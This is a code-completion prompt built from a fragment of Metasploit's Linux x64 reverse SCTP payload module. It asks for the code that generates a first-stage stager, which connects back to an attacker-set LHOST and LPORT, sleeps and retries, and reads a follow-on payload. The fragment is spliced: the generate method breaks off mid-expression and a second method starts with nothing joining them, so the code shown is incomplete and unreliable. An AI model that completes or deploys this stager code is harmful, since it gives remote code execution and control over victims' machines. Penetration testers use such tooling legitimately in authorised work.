You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: reverse_sctp_x64.rb
    path of file: ./repos/metasploit-framework/lib/msf/core/payload/linux/x64
    
    the code of the file until where you have to start completion: # -*- coding: binary -*-

module Msf


###
#
# Complex reverse SCTP payload generation for Linux ARCH_X64
#
###

module Payload::Linux::ReverseSctp_x64

  include Msf::Payload::TransportConfig
  include Msf::Payload::Linux

  #
  # Generate the first stage
  #
  def generate(_opts = {})
    conf = {
      port:        datastore['LPORT'],
      host:        datastore['LHOST'],
      retry_count:   datastore['StagerRetryCount'],
      sleep_seconds
    
  def asm_reverse_sctp(opts={})
    # TODO: reliability is coming
    retry_count  = opts[:retry_count]
    reliable     = opts[:reliable]
    encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
    encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
    seconds = (opts[:sleep_seconds] || 5.0)
    sleep_seconds = seconds.to_i
    sleep_nanoseconds = (seconds % 1 * 1000000000).to_i

    if respond_to?(:generate_intermediate_stage)
      pay_mod = framework.payloads.create(self.refname)
      read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
    elsif !module_info['Stage']['Payload'].empty?
      read_length = module_info['Stage']['Payload'].size
    else
      read_length = 4096
    end